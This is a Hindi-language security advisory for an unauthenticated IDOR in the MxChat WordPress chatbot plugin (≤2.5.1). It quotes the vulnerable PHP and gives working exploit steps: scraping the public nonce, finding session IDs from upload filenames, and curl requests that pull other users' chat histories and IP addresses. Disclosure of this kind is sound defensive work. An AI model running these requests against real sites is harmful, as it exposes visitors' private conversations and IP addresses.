
MxChat – वर्डप्रेस के लिए एआई चैटबॉट <= 2.5.1 - अप्रमाणित सूचना प्रकटीकरण
MxChat Basic प्लगइन mxchat_fetch_conversation_history AJAX एंडपॉइंट में सत्र स्वामित्व सत्यापित नहीं करता है, जिससे अनधिकृत उपयोगकर्ता असुरक्षित प्रत्यक्ष ऑब्जेक्ट संदर्भ (IDOR) कमजोरियों के माध्यम से अन्य उपयोगकर्ताओं के वार्तालाप इतिहास और IP पते तक पहुंच सकते हैं।
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=$SESSION_ID" \
-d "nonce=$NONCE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest" | jq
फ़ंक्शन फ़ाइल में, बिना यह सत्यापित किए कि अनुरोधकर्ता के पास सत्र का स्वामित्व है, केवल क्लाइंट द्वारा प्रदान किए गए के आधार पर वार्तालाप डेटा प्राप्त करता है। यह किसी भी अनधिकृत उपयोगकर्ता को मान्य नॉन्स (जो फ्रंटएंड JavaScript के माध्यम से उपलब्ध है) के साथ अन्य उपयोगकर्ताओं के निजी वार्तालाप डेटा तक पहुंचने की अनुमति देता है। इसके अतिरिक्त, वार्तालाप इतिहास में उपयोगकर्ता के IP पते शामिल होते हैं जो फ़ील्ड में संग्रहीत होते हैं, जो वार्तालाप डेटा के साथ प्रकट होते हैं।
mxchat_fetch_conversation_history()/includes/class-mxchat-integrator.phpsession_idagent_nameIP पते का प्रकटीकरण संदेश भंडारण प्रक्रिया में होता है:
class-mxchat-integrator.php में स्थित है:
361 // 4) Determine user_identifier
362 $user_identifier = $agent_name
363 ? $agent_name
364 : MxChat_User::mxchat_get_user_identifier();
जहां MxChat_User::mxchat_get_user_identifier() अनधिकृत उपयोगकर्ताओं के लिए उपयोगकर्ता का IP पता लौटाता है:
9 public static function mxchat_get_user_identifier() {
10 if (is_user_logged_in()) {
11 $current_user = wp_get_current_user();
12 return $current_user->user_login;
13 } else {
14 return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15 }
16 }
यह IP पता फिर वार्तालाप इतिहास में agent_name के रूप में संग्रहीत किया जाता है और वार्तालाप डेटा प्राप्त करते समय उजागर होता है।
सत्र IDs सीधे अपलोड की गई फ़ाइल नामों में एम्बेडेड होते हैं। जब उपयोगकर्ता चैट इंटरफ़ेस के माध्यम से PDF या Word दस्तावेज़ अपलोड करते हैं, तो फ़ाइलें पूर्वानुमानित नामकरण पैटर्न के साथ सहेजी जाती हैं: mxchat_{session_id}_{timestamp}.pdf और mxchat_word_{session_id}_{timestamp}.docx। यह सत्र IDs को विभिन्न हमले वैक्टरों के माध्यम से खोजने योग्य बनाता है: यदि अपलोड निर्देशिका पर सर्वर इंडेक्सिंग सक्षम है तो निर्देशिका लिस्टिंग, WordPress मीडिया लाइब्रेरी तक पहुंच, खोज इंजनों द्वारा संभावित रूप से अनुक्रमित होना, आदि।
असुरक्षित स्निपेट class-mxchat-integrator.php से:
107 function mxchat_fetch_conversation_history() {
108 if (empty($_POST['session_id'])) {
109 wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110 wp_die();
111 }
112
113 $session_id = sanitize_text_field($_POST['session_id']);
114 $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115 $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116
117 if (empty($history)) {
118 wp_send_json_success([
119 'conversation' => [],
120 'chat_mode' => $chat_mode
121 ]);
122 wp_die();
123 }
124
125 wp_send_json_success([
126 'conversation' => $history,
127 'chat_mode' => $chat_mode
128 ]);
129 wp_die();
130 }
लक्षित WordPress साइट के किसी भी पेज पर जाएं और पेज स्रोत से mxchat_chat_nonce निकालें। नॉन्स फ्रंटएंड JavaScript में mxchatChat.nonce के रूप में उजागर होता है और सभी आगंतुकों के लिए उपलब्ध होता है।
एक सत्र ID पहचानें (प्रारूप: mxchat_chat_{9 alphanumeric characters})। सत्र IDs को अपलोड की गई फ़ाइल नामों के माध्यम से खोजा जा सकता है यदि निर्देशिका लिस्टिंग या मीडिया लाइब्रेरी एक्सेस सक्षम है, या अनुक्रमिक पैटर्न या सामान्य मानों का परीक्षण करके गणना की जा सकती है।
किसी भी सत्र से वार्तालाप इतिहास प्राप्त करने के लिए निम्नलिखित curl कमांड निष्पादित करें:
curl -X POST http://example.com/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=mxchat_chat_7jxi3jsdb" \
-d "nonce=YOUR_NONCE_HERE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest"
{
"success": true,
"data": {
"conversation": [
{
"id": "6903e8a1e195e",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863841925,
"agent_name": "IP.REDACTED"
},
{
"id": "6903e8a33c86a",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863843248,
"agent_name": "IP.REDACTED"
}
],
"chat_mode": "ai"
}
}
agent_name फ़ील्ड में अनधिकृत उपयोगकर्ताओं के लिए उपयोगकर्ता का IP पता ($_SERVER['REMOTE_ADDR']) होता है, जो वार्तालाप डेटा के साथ प्रकट होता है।